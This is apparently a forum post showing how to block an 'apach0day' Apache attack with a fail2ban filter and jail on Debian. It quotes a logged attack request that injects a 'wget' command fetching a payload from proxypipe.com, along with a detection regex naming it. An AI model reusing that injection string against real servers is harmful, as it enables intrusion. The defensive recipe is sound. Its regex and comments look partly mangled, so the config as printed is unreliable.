Here's a quick-and-dirty solution to block using fail2ban. (If you don't currently use fail2ban, google for your OS.)
If you have fail2ban installed, see below. Note locations of the fail2ban files might be different, depending on your OS. The example below is from a Debian server. This sample doesn't cover ban times, etc.---just how to create a filter and add it to jail.local. There are plenty of fail2ban config examples on google for multiple systems.
Quick-And-Dirty (Debian Linux):
1) Create a new file apache-0day.conf in /etc/fail2ban/filter.d that contains:
#
Fail2Ban configuration file
#
Limited filter to stop apach0day attacks
[Definition]
Option: failregex
#
Notes.: regex to match this kind of request:
#
162.253.66.77 - - [28/Jul/2014:19:02:00 +0000] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 359 "-" "chroot-apach0day"
failregex = ^ -."(GET|POST).\?.proxypipe|apach0day.$
Option: ignoreregex
Notes.: regex to ignore. If this regex matches, the line is ignored.
Values: TEXT
#
ignoreregex =
2) Test filter with command: fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-0day.conf
3) Edit /etc/fail2banl/jail.local, to add this jail:
[apache-0day]
enabled = true
port = http,https
filter = apache-0day
logpath = /var/log/apache*/*access.log
maxretry = 2
4) Test the new overall configuration (watch for WARNING and fix, if needed): fail2ban-client -d
5) Re-start fail2ban: /etc/init.d/fail2ban restart
31.220.14.3
.